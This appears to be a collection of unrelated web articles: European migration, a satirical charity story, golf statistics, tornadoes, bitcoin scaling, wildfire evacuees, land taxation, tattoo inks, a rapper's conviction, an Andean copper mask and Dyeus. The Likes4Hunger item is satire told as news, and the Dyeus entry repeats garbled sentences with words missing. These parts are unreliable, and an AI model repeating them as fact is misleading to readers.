economies less competitive. Moreover, the money sent back to relatives pushed up starting wages and reduced incentives to work. As a result, wages have risen faster than productivity, eroding returns on investment and weakening incentives to invest in home countries. With lower output, government spending on social benefits has increased in relation to GDP. The departure of the young adds to the already existing trend of the elderly occupying an increasing share in the population, leading to more spending on retirement benefits relative to GDP. Governments have tended to respond to these budgetary pressures by raising labor taxes that lower employers’ incentives to create jobs, thus making budgetary structure even less jobs and growth friendly. The departure of some of the youngest and brightest makes Eastern Europe’s process of catching up to advanced Europe more challenging. Boon for Europe as a whole How about the impact of the east-west migration on receiving countries? The westward migration seems to have contributed to stronger growth in Western European countries and been an economic boon for the European Union as a whole. As such, economic migration is an indicator of success of the European Union project, which sees freedom of movement as necessary for greater economic integration and, ultimately, higher incomes for all. With income and institutional differences between East and West remaining wide, the push and pull factors driving emigration from the east are likely to persist for some time. What’s more, the trends could further intensify with new countries getting ready to join the European Union. Making it work for all Overall, European Union membership brought substantial benefit for Eastern Europe. Now what can be done to ensure that the free flow of people leads to a win-win outcome for both labor sending and receiving countries? Although there are some tasks to be done locally, there is also room for a pan-European response.  For Eastern Europe: better institutions and economic policies in home countries would make it more attractive for people to stay, for emigrants to return, and for people from other countries to seek jobs in Eastern Europe. Further liberalization of immigration regimes, especially for skilled workers, could be considered as well. Governments can do more to work with diasporas abroad in order to leverage their expertise and savings, and to provide more incentives for people to invest rather than spend remittances. In addition, more can be done to retain and better use the existing workforce, for example, through better matching of education to employment needs and providing more opportunities for on-the-job training. The choice of policy responses to emigration-related fiscal pressures matters as well: avoiding increases in labor taxes and relying more on consumption taxes would be more conducive for investment and long-run growth.  For the European Union: given that the East-West migration has benefited the European Union as a whole, there is a case for better redistributing the gains. For example, the size and composition of the European Union structural and cohesion funds—transfers from wealthier to poorer European Union regions—could explicitly account for the negative effects of emigration on sending countries’ economic potential. This would also be consistent with the European Union’s goal of reducing economic and social disparities across regions and promoting sustainable development.  You can watch the video about Eastern Europe's emigration here
-In recent months, a new online charitable organization has exploded in popularity. Their mission: to distribute as many Facebook likes as possible to desperate and starving children all over the world.  The Silicon Valley-based non-profit, Likes4Hunger, has already motivated thousands of young people across the country to break free of their apathy and finally do something about the state of world hunger. Meanwhile, the starving children and their ruined families are no doubt elated at how popular they have already become.  “The difficult part isn’t really getting the Likes,” said founder and CEO Joe Dillson in an interview, “it’s actually bringing the likes to the children that need them which proves more complicated.” The organization has tried a variety of means to bring the Likes to the starving children, including setting up internet in remote African towns, and airdropping thousands of printed copies of their Facebook page across rural Southeast Asia.  Dillson concluded by saying that if he were to receive the Nobel Peace Prize he would similarly share it with as many impoverished youngsters as he can, so they can know how far they’ve come.
-Jordan Spieth turned 22 years old Monday, July 27. With his U.S. Open victory last month, Spieth became the youngest player to win two majors since Gene Sarazen in 1922.  Now the second-ranked player in the world, how does he stack up against some of the game’s greatest talents? Here’s a breakdown of Spieth’s early career accomplishments alongside that of Rory McIlroy, Tiger Woods and Jack Nicklaus.  Spieth:  77 PGA Tour starts  5 victories (2 major championships)  29 Top 10 finishes  13 missed cuts  $17.3 million in earnings  McIlroy:  32 PGA Tour starts  1 victory (0 major championships)  1 Euro Tour victory  9 Top 10 finishes  5 missed PGA Tour cuts  $3.7 million in earnings  Woods:  43 PGA Tour starts  6 victories (1 major championship)  14 Top 10 finishes  9 missed cuts  $2.8 million  Nicklaus:  Less than 25 PGA Tour starts  0 victories  3 missed cuts  Had turned pro for just 2 months  For more news that golfers everywhere are talking about, follow @golf_com on Twitter, like us on Facebook, and subscribe to our YouTube video channel.
-As the city of Joplin deals with the devastation from Sunday's tornado, some people might wonder whether these extreme weather events are getting more common because of climate change. The answer is that no one really knows.  A tornado is a rotating column of air that stretches from the bottom of clouds to the Earth's surface. They can occur in a wide range of shapes and sizes, typically manifesting as a funnel of condensation surrounded by a cloud of dust and debris. Wind speeds in an average tornado reach more than 100mph (160km/h) and the system itself is less than 100 metres across, but extreme events can be several miles across, with wind speeds of more than 300mph.  It is difficult to relate any individual weather event to climate change and, unlike with hurricanes, there is little robust research on whether the warming planet is causing any noticeable effects. Grady Dixon, assistant professor of meteorology and climatology at Mississippi State University, told AFP: "If you look at the past 60 years of data, the number of tornadoes is increasing significantly, but it's agreed upon by the tornado community that it's not a real increase. It's having to do with better (weather tracking) technology, more population, the fact that the population is better educated and more aware. So we're seeing them more often."  Writing on the Climate Central website, the policy analyst Andrew Freedman said climate change was already changing the environment in which severe thunderstorms and their associated tornadoes form, and that it was bound to have some influence on tornado frequency or strength. "But as of now, no discernible trend has been detected in the observational data, and studies of how tornadoes will fare in a warmer world show somewhat conflicting results."  He added: "Since more moisture gets added to the atmosphere as the climate warms, additional water vapour may help severe thunderstorms and tornadoes to form. On the other hand, wind shear is expected to decline due to climate change, which would argue against an increase in tornado numbers."  Around a thousand tornadoes hit the US every year, according to the National Oceanic and Atmospheric Administration. Though every state experiences them, tornadoes have tended to be most common around an area between the Rocky mountains and Appalachian mountains, nicknamed "tornado alley". For the most part, they form during the spring and summer, with the season coming earlier in the south and later in the north.
-Why Bitcoin Will Get Scaling Without Segwit or Large Blocks  Jimmy Song Blocked Unblock Follow Following Feb 20, 2017  If you’re like me, you’re pretty sick of the bitcoin scaling debate. On the one side, you have the big blockers who want 2MB blocks, entertaining the notion of a network fork to do so. On the other, you have the small blockers, who want to keep the 1MB block limit, but add more scaling through segwit, lightning network and so on. This debate has been going on for literally, years, and there really isn’t an end in sight. Segwit signalling began back in December, and hasn’t even reached 30% of mined blocks signaling (95% is required). Similarly, the current favorite among big blockers is Bitcoin Unlimited, which similarly has consistently less than 30% of mined blocks signaling (it needs 75%).  The reality of the situation is that neither side are going to reach their goals and given that this split in the community has lasted a few years already, I don’t see this being resolved anytime soon. What’s curious to me is that neither side really is planning on anything but winning. The big blockers seem intent on getting 2MB blocks, breaking the stranglehold that Core has on development and move on to even larger block sizes in the future with a hard fork. The small blockers seem intent on crushing the dangerous hard-fork intentions of the Bitcoin Unlimited folks, get Segwit out and work on stuff that depend on Segwit like Schnorr signatures and the Lightning Network. Essentially, both sides seem to be planning for a parade when a stalemate for years seems like the much greater possibility.  This is why I’m writing this article. I’m going to go through a thought experiment of what will happen in a future where neither side wins (hint: that’s the most likely result at this point). Note that this is mainly a thought experiment and the things I am speculating about may or may not come to pass.  Feeeeees!!!  If you haven’t heard by now, there are a lot of transactions floating in the mempool that don’t seem to be getting into blocks. The main complaint of the big blockers is how hard it is to use bitcoin when their transactions aren’t confirmed for 12 hours or more. The usual response by small blockers is something like “then you should get miners to signal for Segwit”, which usually devolves into another small blocker vs. big blocker shouting match.  At this point in bitcoin’s history, the fees for a 250 byte transaction are about $0.50. Now you may say this is too expensive or too cheap, but one thing you can’t deny is that fees have gone up compared to last year. This is largely due to more transactions that want to get in, but having fees not high enough. This market of transactions that need inclusion in blocks and what they should pay is what bitcoiners call the fee market.  Many people have speculated that the fees will just keep going up linearly as more and more transactions get stuck, more and more transactions stay in the mempool and so forth and that we’d be facing $5+ fees in a few years’ time. This may happen, and though I don’t know the future, allow me to map out what I think is the most logical sequence of events that flow from our current situation.  At some point, even with 1MB blocks and no Segwit, transactions will move dramatically off-chain. How is that possible without Segwit or lightning network, you ask? First, notice that a lot of transactions already happen off-chain. Xapo claims that they do more off-chain transactions than on-chain. Coinbase, Localbitcoins, Purse.io, most bitcoin exchanges and services have some type of off-chain transactions service already.  A significant number of the on-chain transactions are actually between these services. In a typical example, perhaps someone wants the Purse.io discount and goes to Coinbase to move from dollars to bitcoins, transfers that to the Purse.io wallet and buys something from Amazon. There is one on-chain bitcoin transaction in this scenario, one between Coinbase and Purse that probably happens many times a day.  A Modest Improvement  Once fees are high enough and transactions between them frequent enough, Coinbase and Purse will want to form a bilateral agreement. For example, Purse.io can open a business account with Coinbase where they can deposit or withdraw bitcoins. Whenever some bitcoin is being sent out from Coinbase, Coinbase can ask Purse, hey, is this an address you control? If so, Purse can respond with cryptographic proof that it does and instead of putting that transaction on chain, Coinbase can simply credit Purse.io’s account and let Purse.io know so they can credit the customer. No need to transfer on-chain, no need to wait for confirmations, no money spent on fees, and instant credit of bitcoin on Purse for the customer.  Notice that everybody wins in this scenario. Coinbase gets to keep bitcoins on its system, Purse gets to credit the customer instantly and the customer doesn’t have to pay any fees on chain nor leak more privacy by having the transaction on chain. The same thing can happen for transactions going in the other direction. When someone is sending bitcoins out of Purse, Purse can ask Coinbase, is this an address you control? If Coinbase sends back cryptographic proof that it does, Purse can ask for a debit to its account at Coinbase and credit the account associated with the address instead of an on-chain transaction. Again, there is no transaction necessary on the blockchain, no fees spent, no need to wait for confirmations for the customer. In short, a win for everybody.  Now every once in awhile, it would be in Purse’s interest to withdraw large balances from Coinbase on-chain so that Purse doesn’t risk losing bitcoins should Coinbase go under. Similarly, it would be in Coinbase’s interest to demand Purse deposit some bitcoins when the balance is low, but all three of Coinbase, Purse and the customer transferring between them get the benefits of such an arrangement.  Notice that if there’s significant volume between Coinbase and Purse, you can essentially compress many off chain transactions into a single on-chain transaction. If these two companies typically do 1001 transactions per day back and forth on-chain before this system and settle instead on the blockchain once per day, the savings per day is 1000 fees, or about $500/day at current transaction fee rates. Such an arrangement would also relieve transaction congestion on-chain, so it’s not only a win for the three parties here, but also for the entire Bitcoin Network!  If this sounds familiar, it should. It’s basically what bidirectional payment channels are in bitcoin, except we’re making our own ad-hoc payment channel using an account at Coinbase instead of using bitcoin’s more restrictive and complicated, though more secure, payment channel. Furthermore, the agreement between these two companies can have loan agreements should a balance fall below 0, legal contracts to protect each company and perhaps even insurance should one party fail in some way. In other words, such a bilateral agreement is a lot more useful and tailored to the needs of the companies involved than a bidirectional payment channel is.  So why hasn’t this happened already? Perhaps it has and we don’t know since such transactions would by definition be off-chain. More likely, however, is that the fees are not high enough where it’s worth it for companies to make such agreements, not to mention the cost of updates to their software to make this happen. As fees get higher, we can expect agreements like this between popular bitcoin services to put downward pressure on fees as more transactions start happening off-chain.  The Start of a Network  Now as more companies agree to bilateral agreements, someone will notice that if A has a bilateral relationship with B and B has a bilateral relationship with C, A can send or receive bitcoins to C using B off-chain without a direct bilateral agreement between A and C. B may or may not agree to cooperate, and in order to incentivize B to cooperate, A and C should agree to pay B something lower than the on-chain cost of the transaction.  In fact, the bilateral agreement path can be fairly long. If A has a bilateral relationship with B, B with C, C with D and D with E, A can do off-chain transactions with E if B, C and D all agree to facilitate the transaction for a cost lower than the on-chain cost. The bilateral relationships form a network of relationships where any one participant can send to any other connected participant.  If this sounds familiar, it should. This is how the Lightning Network is supposed to work, except the relationships I’m describing are based on ad-hoc bilateral agreements. And indeed, some sort of ad-hoc routing through a network of bilateral relationships like this will be the obvious next step so A can send to C without having a bilateral agreement in place.  The Inevitable Consolidation  As the network of bilateral relationships grows, the natural incentives for each new participant will be such that they will want bilateral relationships with parties that are well-connected, that is, they’ll want to have bilateral relationships with companies that have more bilateral relationships with others. In general, companies will want to open as few bilateral relationships as possible (each bilateral relationship has a cost), but will want each bilateral relationship to route to the most nodes as possible.  The incentives then naturally grow towards a specific network topology called a hub-and-spoke network, where a large number of nodes (spokes) have a direct relationship with a central node (hub). This minimizes the number of bilateral relationships (1 per spoke) and maximizes the network reach (access to the entire hub-and-spoke encompassing at most 2 bilateral agreements). You can think about hub-and-spoke transactions as two customers of a bank that want to transfer money between each other. The bank facilitates a transfer by moving money on their ledger from one customer’s account to another, sometimes for a fee, but sometimes free. In fintech parlance, this central hub is what’s called a clearing house. Such a clearing house, instead of transferring cash would transfer bitcoins off-chain.  The benefits of this arrangement would be proportional to the fees on-chain. You would have instant transfers between most services, no on-chain record and most importantly no fees on-chain. Notice that this is a win for the bitcoin services, for the customers and for the Bitcoin Network. And this should reduce the congestion still further as really the only transactions left are to/from bitcoin services not on this network and user wallets.  The main drawback to hub-and-spoke is that there’s a central authority/single point of failure since the hub suddenly becomes a chokepoint for regulation, which brings us to the next evolution.  The Final Step  At some point, the risk of a centralized network will become an issue, perhaps even before the hub-and-spoke network comes to pass. But how can we take out centralization from a network? How can we have a ledger that’s not controlled by a single company? In order to mitigate the risks of a central authority, what the collective of bitcoin services will want is a distributed ledger that can keep track of who has how much and be able to transfer value quickly and not in the control of a single entity. In essence, they will want a multi-lateral agreement providing a permissioned ledger without a central authority.  If this sounds familiar, it should, because it’s what’s been unfairly mocked as nonsensical: private blockchains. Private blockchains are itself a big topic, but the main features are that there is no central authority and there is a ledger based on cryptographic proofs.  The main difference between this private blockchain and bitcoin is the way immutability of the ledger is handled. In Bitcoin, proof-of-work mining is used. In this private blockchain, we’ll most likely use signatures from a supermajority of members. Using signatures as the basis of immutability is feasible since the participants are known and the agreement underwritten by insurance and/or backed by legal contracts. Each member of the consortium will be able to add money to their account on this ledger by sending bitcoins to a multisig address. Each member will be able to withdraw on-chain by having the supermajority sign off, providing an on-ramp and off-ramp between this chain and Bitcoin.  The main benefit of this second-layer network will be frequency, reliability and scalability. Since this second layer network is controlled by the members of the network, the network can scale to the limits of the members’ hardware and bandwidth capacity. Classes of possible problems like selfish mining and indeterminable waits for confirmation disappear since there’s no proof-of-work. And given that the costs of running this network are likely much less than paying transaction fees, each member can do a very large chunk of business on this chain.  And this won’t be a bad thing. Most transactions on credit cards or banks are on systems that most consumers have no clue about. What’s important is that this ledger has a lot of desirable properties (no central authority, permissioned transfers of ownership) and uses the bitcoin network for net amounts. What’s more, this second-layer network will relieve the congestion on the Bitcoin Network massively and allow the number of transactions to scale without requiring any scaling changes to the bitcoin network.  The Future  What I’ve described is a private blockchain for a commercial bitcoin network. It’s the natural progression of the status quo because it will give both the small blockers and big blockers what they want, though not in the form of changes to bitcoin. Small blockers get to avoid a hard fork. Big blockers get a network that’s much faster and has more transaction capacity. This scenario may not be what each side wants now, but a future where bitcoin is the bottom layer of a larger system seems very likely.  What’s interesting is that there’s no reason why the same type of distributed ledger can’t work for other assets besides bitcoin. Bitcoiners are getting frustrated at $0.50 fees per transaction and 3 hours to settle, imagine how securities people feel paying $10 per transaction and 3 days to settle! The evolution of many financial transaction networks has followed a very similar path to what I’ve been predicting for bitcoin in this article.  Conclusion  So what does this mean for bitcoin?  First of all, the doom and gloom coming from both sides of this debate about how we need to scale right now is a lot of hot air. Large demand is often the fertile ground from which innovation sprouts. Demand for block space will allow businesses and individuals a chance to create solutions.  Second, on-chain fees will not be increasing linearly. If anything, there will be times when transaction fees go down, not up, as large numbers of transactions move off-chain. Thus, any predictions of future transaction fees are speculative at best and we should not be paying much attention to them.  Third, the dream of paying for everything on-chain is dead. No, you’re not going to pay for your coffee every morning with an on-chain transaction. There will be more convenient services designed with better user experiences in mind that use bitcoin to transfer value off-chain, though.  In short, bitcoin is maturing and the market is starting to define what bitcoin is going to be. I’m sure there are people on both sides of the debate that won’t like what it’s going to become, but that’s what you get with a decentralized currency.  Want to get curated Technical Bitcoin News? Sign up for the Bitcoin Tech Talk newsletter!
-Staff at the RBC Convention Centre are using food to provide comfort for evacuees in crisis.  Close to 500 people are currently at the RBC Convention Centre after being driven from their homes by a wildfire in northern Manitoba, but that number fluctuates as some people have gone home to their community, and others have found a place to stay in Winnipeg or elsewhere, says to the centre's president and CEO, Klaus Lahr.  Lahr says meals are served buffet style in a dining area in a massive room typically used for graduation ceremonies.  "A thousand people, three thousand meals a day but during grad season we serve way more meals than that," said Lahr. "I wouldn't say we're out of our element, in fact I think this is just right up our alley, we are in the business of looking after people, we're in the business of making people happy, the situation is a little different but we adjust to it and it has worked very well.  "They've been very great people to have under our roof."  The entire third floor of the convention centre—which is designed for 9,000 people—is the temporary home for the evacuees.  Food is very important in a crisis. - Quentin Harty, executive chef for the RBC Convention Centre  In two massive rooms, Hall 'A' and Hall 'B', cots with blankets are set up grid-style.  The far banquet room, otherwise known as "Hall C," has the dining area, activities for children, two movie theatres, and stations for health and social services.  Pizza, perogies and now hamburger soup are on the weekly menu.  "Food is very important in a crisis," said Quentin Harty, executive chef for the RBC Convention Centre. "If you can imagine being flown out somewhere, and being in a surrounding with people you're not familiar with... I think that's why food is everybody's go-to."  Don Taylor from St. Theresa Point, left, and Rex McDougall from Wasagamack First Nation are among the 500 wildfire evacuees from northern Manitoba staying at the RBC Convention Centre. (Erin Brohman/CBC)  Harty said hearing from the evacuees has been crucial in meal-planning.  "We're getting good feedback. They have the odd suggestion that they're offering up to us and we're responding to that," he said. "We're trying to take really good care of them."  He says many people have asked for hamburger soup, and now, ragout, pizza and jackfish have been added to this week's menus.  "No doubt it's a crisis they're experiencing, it's a life altering experience so we're trying to be as accommodating as possible," he said. "I'm happy that we were here to help and fulfil the need and serve, that's what it's all about."  Don Taylor from St. Theresa Point appreciates the effort.  "The food is good and everything's great," said the 25-year-old, who is looking forward to getting to his community and checking on his house soon.  Taylor says Tuesday's lunch—sausage and perogies—helped to relieve his stress, something echoed by his friend, Rex McDougall from Wasagamack First Nation.  "Food's pretty good. They got good chefs. Give 'em two thumbs up," said McDougall.  Lahr says the convention centre can keep the status quo until September 12; beyond that, it will take some room re-arranging, but he adds the evacuees can stay until the end of September.  He said there have been some challenges with children pulling the fire drill, but after the elders spoke to them, that stopped.  "If this was me I don't know whether I would be able to handle it as calmly and as civilized as they do," said Lahr. "So my feeling goes out to them and my hat goes out to them."  The Canadian Red Cross is providing round-the-clock support to evacuees and buses leave the convention centre every half hour. The buses go to Walmart so people can buy their necessities, the Pan-Am Pool so people can shower, and to the other relief centre on Leila Avenue so evacuees can visit friends.
-Photo by Christy Mannering  Within the majority of cities and municipalities across the United States, real property is taxed based on the value of the land and of the improvements made to it — such as any enhancement to an individual home or a business facility.  As a consequence, there is a disincentive for individuals and businesses to invest in their homes and facilities, because such investments will increase the assessed value of the property for tax purposes. A new study led by the University of Delaware’s Josh Duke constructs a “virtual city” to see if, when given the choice, individuals would select a different kind of non-distortionary tax — known as land value taxation — instead of the traditional form of property taxation.  The study is part of Duke’s year-long fellowship with the Lincoln Institute of Land Policy, located in Cambridge, Massachusetts. The Lincoln Institute of Land Policy is an independent, nonpartisan organization whose mission is to help solve global economic, social and environmental challenges to improve the quality of life through creative approaches to the use, taxation, and stewardship of land.  Duke, professor in the Department of Applied Economics and Statistics in UD’s College of Agriculture and Natural Resources, said that land value taxation is usually associated with the 19th century economist Henry George, although the idea probably precedes George’s time.  “The idea is that if you’re going to tax anything in society, probably the best thing to tax is the value of land. Not the value of the improvements on land, like a house, just the value of land, and the reason is that it’s non-distortionary. That means that it doesn’t provide the incentive to do less property improvement than is optimal,” said Duke.  Land value taxation in theory should be the best way for governments to raise revenue and yet it has not been widely adopted. In Delaware, the town of Arden was founded as a Georgian community and some cities in Pennsylvania — such as Harrisburg — employ a split-rate property tax in which the land is taxed at one rate and the buildings are taxed at another, but for some reason, land value taxation hasn’t caught on.  “It really would make society a lot better. It’s one of these major things we could do. We don’t have to create anything, we can just change the way things are taxed and increase society’s wealth,” said Duke.  In addition to stopping the disincentives to fully utilize land that are imposed by the current property tax system, Duke said that it could reduce all the distortionary ways revenue is currently raised.  “Right now, we raise lots of revenue through income and employment taxes, which create a disincentive for workers to work and employers to hire. So you could shift the government’s tax burden from income to land, therefore allowing more jobs,” said Duke. “It’s been known for hundreds of years that it’s a great way to raise tax revenue but it just doesn’t get used enough in the real world and so I wanted to explore why that might be.”  Experimental economics  Duke decided that to determine why land value taxation has not been widely adopted, he would use experimental economics to try to provide some insight.  By building a virtual city where people have the incentives to improve their land through buildings and then have them interact through the tax system, Duke is trying to see if he can replicate the voters’ rejection of the land value taxation.  Duke worked with Tianhang Gao, a doctoral student in the Alfred Lerner College of Business and Economics, to build an experimental economics platform that will be utilized by students in the Center for Experimental and Applied Economics (CEAE).  While Duke realizes that the word “virtual city” might conjure up images of games such as “The SIMS,” he said that this virtual city won’t look anything like the popular game.  “Economics is all about simplifying reality. What we’re trying to do is reduce problems to the fundamental incentives that we want to study. You have an amount of income; how much of your income do you devote to improving your land and how much do you devote to consumption? Then do you feel that, over time, you’re being treated fairly by the tax system and do you vote to reject it? So we set up a little democracy using our computer program where participants in our experimental economics platform can vote,” said Duke.  The study will be run with 100 students during the fall semester and Duke said that he will target business, economics, and engineering students to take part in the study because of their financial backgrounds and quantitative skills.  “We want to see how people make decisions when they’re strictly interested in profit and not bringing their ethics to the questions until they vote,” said Duke.  Using an experimental economics program called Z-Tree, there will be an administrator computer and then 15 students will use Microsoft Surface Pros to make decisions, interacting through the network created by Z-Tree in the programmed virtual environment.  “Everybody sits at their own computer and makes their own decisions. It’s all private. They can still interact, but they interact only through their decision on the tablet computer,” said Duke.  Moving forward, Duke said he hopes to extend his research to see if he can get participants to overcome political objections to land value taxation and offer policy advice to people in the real world on how to get voters to find land value taxation to be in their best interest.
-Tattoos can cause cancer and mutations - and one colour is potentially more toxic than others, according to scientists.  Research by the European Chemicals Agency to be published imminently is investigating possible risks associated with being inked.  The agency said: “Many reports show significant concerns for public health stemming from the composition of inks used for tattooing.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  “The most severe concerns are allergies caused by the substances in the inks and possible carcinogenic, mutagenic or reproductively toxic effects.”  Inks are not currently regulated in the EU. If any particular chemicals are found to be harmful as thought, they will be banned.  An agency spokesman said: "If it is found that a restriction is needed, a formal proposal to restrict the substances will be submitted within one year to initiate the process."  Red ink has been linked to dermatitis - swelling and soreness - due to it containing mercury sulphide.  Meanwhile red, blue, green and purple ones are more likely to cause granulomas – little ridges of bumps on the skin.  The public will be asked to contribute to the research. The NHS has also warned of the dangers of ‘black’ or ‘neutral’ henna.  Different to authentic henna, which is orange in colour, this darker substance it may contain levels of a chemical dye ‘so powerful and toxic that it is illegal to use it on the skin’.  The NHS warned: “If you see a shop or stall offering to paint black tattoos onto your skin, don’t be tempted to get one. It could leave you scarred for life and put you at risk of a life-threatening allergic reaction.”  Anyone suffering an allergic reaction should contact a doctor as soon as possible.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-C-Murder released his last album, Screamin' 4 Vengeance, in 2007  Rapper C-Murder has been convicted of second-degree murder for the 2002 shooting of a teenage fan in Louisiana, at his second trial in the killing.  The jury returned a 10-2 verdict on the second day of deliberations.  The rapper - real name Corey Miller - was jailed for life in 2003, but won a retrial over witness testimony. He faces a mandatory life sentence.  The 16-year-old fan, Steven Thomas, was shot outside a nightclub, where he had taken part in a rapping contest.  "I'm not rejoicing," George Thomas, the boy's father, was quoted as saying by AP news agency.  "I feel bad for [Miller's] family. But at least they can see him. What have we got but a gravesite and a photograph," he added.  The 38-year-old musician's lawyer declined to comment. His family has vowed to fight the latest conviction over the shooting in Harvey, Louisiana.  A district judge ordered Miller's retrial in 2004 on the grounds that prosecution witnesses had failed to disclose their criminal history.  Miller has been in jail since May, after pleading no contest to two counts of attempted murder in a separate Baton Rouge nightclub altercation in 2001. He is due to be sentenced later this month in that case.  His last album, Screamin' 4 Vengeance, was released in 2007.
-A square-shaped copper mask pulled from a tomb in the southern Andes is resetting our notions of where and when sophisticated metallurgy first appeared in pre-Hispanic South America.  Archaeological evidence suggests that metallurgy in pre-Columbian America first appeared in the Andes, with Peru being the likely point of origin. But as a new study published in Antiquity shows, the discovery of a 3,000-year-old mask in the Argentinean southern Andes suggests that more than one region was involved in the development of this important technology.  Advertisement  The highly corroded copper mask was discovered back in 2005 in La Quebrada in the Cajón Valley. Villagers noticed the mask sticking out of the ground, and notified a team of archaeologists who had been working near the area. A subsequent excavation revealed the scattered skeletal remains of 14 individuals in a single mass grave. The pit is located near the archaeological site of Bordo Marcial, which hosted a vibrant community around 1,800 to 1,900 years ago.  The grave appears to have been some kind of tomb, featuring a stone wall, and containing a copper pendent and the copper mask. The mask was laid down atop the bodies, suggesting it was used during a funeral ceremony. Because some of the bones were stained green from the copper mask, the archaeologists suspect it was buried along with the bodies in the pit.  Advertisement  Radiocarbon dating placed the bones to some time between 1414 and 1087 BC. Historically, this was an important time for the region, as pre-Hispanic Americans transitioned from hunter-gatherers to early farming settlements. And as the new analysis of the mask by Leticia Inés Cortés and María Cristina Scattolin from the University of Buenos Aires points out, this particular population had already come across the wonders of copper.  The mask measures seven inches high, six inches wide, and one millimeter thick. Holes were punctured through the mask to form a pair of eyes, a nose, and a mouth. Nine circular holes were made along the edges; a thread or some other material could have been weaved through these holes, allowing a person to wear the mask on their face. Alternately, the mask could’ve been part of a larger display, the remnants of which have not been found.  The mask itself is made from pure copper, with impurities lower than one percent. The source of the raw copper probably came from the the Hualfín Valley in the Catamarca Province, which is about 43 miles (70 km) from the site, and which today hosts a major copper mine. Archeologists say the mask was manufactured by a repetitive technique in which the copper was reheated and cold hammered.  Advertisement  The emergence of metallurgy, and copperworks in particular, represents an important stepping stone for ancient civilizations. As humans began to experiment with metals, and as they got better at crafting it to their will, civilizations developed along with it. In turn, this resulted in the expanded use of copper and, importantly, the development of bronze (bronze is a very tough metal that’s made from copper, arsenic and tin), which were better suited for weapons and tools.  Plenty of archaeological evidence of early metalwork exists in the central Peruvian Andes, a technology that eventually spread to other areas of Central and South America. Evidence of copper smelting has been uncovered in Bolivia dating to between 3,160 and 2,200 years ago, and fragments of laminated copper were found in Mina Perdida, Valle del Lurín dating back to around 3,000 to 3,120 years ago. But none of these artifacts had been intentionally shaped into a recognizable form, nor where they perforated with holes or made into three-dimensional objects.  The discovery of a human-like copper mask in the Cajón region suggests this region was an important origin point of copper metallurgy, or at least a place where the technology emerged independently. As the researchers conclude in their study, this 3,000-year-old mask “pushes back the timeline for the production of an intentionally shaped copper artefact in the Andes.”  Advertisement  [Antiquity via History Blog]
-Dyēus or Dyēus Phter (Proto-Indo-European: *dyḗws ph₂tḗr, also *Dyḗus Ph 2 tḗr or Dyēus Pətḗr, alternatively spelled dyēws) is believed to have been the chief deity in Proto-Indo-European mythology. Part of a larger pantheon, he was the god of the daylit sky, and his position may have mirrored the position of the patriarch or monarch in Proto-Indo-European society.  This deity is not directly attested; rather, scholars have reconstructed this deity from the languages and cultures of later Indo-European peoples such as the Greeks, Latins, and Indo-Aryans. According to this scholarly reconstruction, Dyeus was known as Dyḗus Ph 2 tḗr, literally "sky father" or "shining father", as reflected in Latin Iūpiter, Diēspiter, possibly Dis Pater and deus pater, Greek Zeu Pater, Vedic Dyáuṣ Pitṛ́. As the pantheons of the individual mythologies related to Proto-Indo-European religion evolved, attributes of Dyeus seem to have been redistributed to other deities. In Greek and Roman mythology, Dyeus remained the chief god; however, in Vedic mythology, the etymological continuant of Dyeus became a very abstract god, and his original attributes and dominance over other gods appear to have been transferred to gods such as Agni or Indra.  Later figures etymologically connected with Dyeus [ edit ]  Rooted in the related but distinct Indo-European word *deiwos is the Latin word for deity, deus. The Latin word is also continued in English "divine" and "deity". The Old English word for Tuesday, "Tiwesdæg", means "Tiw's Day", while in Old Norse tívar' may be continued in the toponym Tiveden ("Wood of the Gods", or of Týr).  The Roman god Jupiter is a form of Dyeus.  The following names derive from the related *deiwos:  Estonian Tharapita bears similarity to Dyaus Pita in name, although it has been interpreted as being related to the god Thor.  Although some of the more iconic reflexes of Dyeus are storm deities, such as Zeus and Jupiter, this is thought to be a late development exclusive to Mediterranean traditions, probably derived from syncretism with Canaanite deities and Perkwunos.[5] The deity's original domain was over the daylight sky, and indeed reflexes emphasise this connection to light: Istanu (Tiyaz) is a solar deity (though this name may actually refer to a female sun goddess[6]), Helios is often referred to as the "eye of Zeus",[7] in Romanian paganism the Sun is similarly called "God's eye"[8] and in Indo-Iranian tradition Surya/Hvare-khshaeta is similarly associated with Ahura Mazda. Even in Roman tradition, Jupiter often is only associated with diurnal lightning at most, while Summanus is a deity responsible for nocturnal lightning or storms as a whole.  As an ordinary noun [ edit ]  Dyēus's name also likely means "the daytime sky":  In Sanskrit as div- (nominative singular dyāus with vrddhi), its singular means "the sky" and its plural means "days".  (nominative singular with vrddhi), its singular means "the sky" and its plural means "days". Its accusative form *dyēm became Latin diem "day", which later gave rise to a new nominative diēs . The original nominative survives as diūs in a few fixed expressions. [9]  became Latin "day", which later gave rise to a new nominative . The original nominative survives as in a few fixed expressions. Finnish taivas , Estonian taevas , Livonian tōvaz etc. (from Proto-Finnic *taivas ), meaning "heaven" or "sky," are likely rooted in the Indo-European word. The neighboring Baltic Dievas or Germanic Tiwaz are possible sources, but the Indo-Iranian *daivas accords better in both form and meaning. Similar origin has been proposed for the word family represented by Finnish toivoa "to hope" (originally "to pray from gods").  , Estonian , Livonian etc. (from Proto-Finnic ), meaning "heaven" or "sky," are likely rooted in the Indo-European word. The neighboring Baltic or Germanic are possible sources, but the Indo-Iranian accords better in both form and meaning. Similar origin has been proposed for the word family represented by Finnish "to hope" (originally "to pray from gods"). Old Irish día could mean either "God" or "day"; these give rise to the modern Irish dia and Dé / Scottish Gaelic di- respectively.[10]  See also [ edit ]  References [ edit ]  Bibliography [ edit ]  Further reading [ edit ]
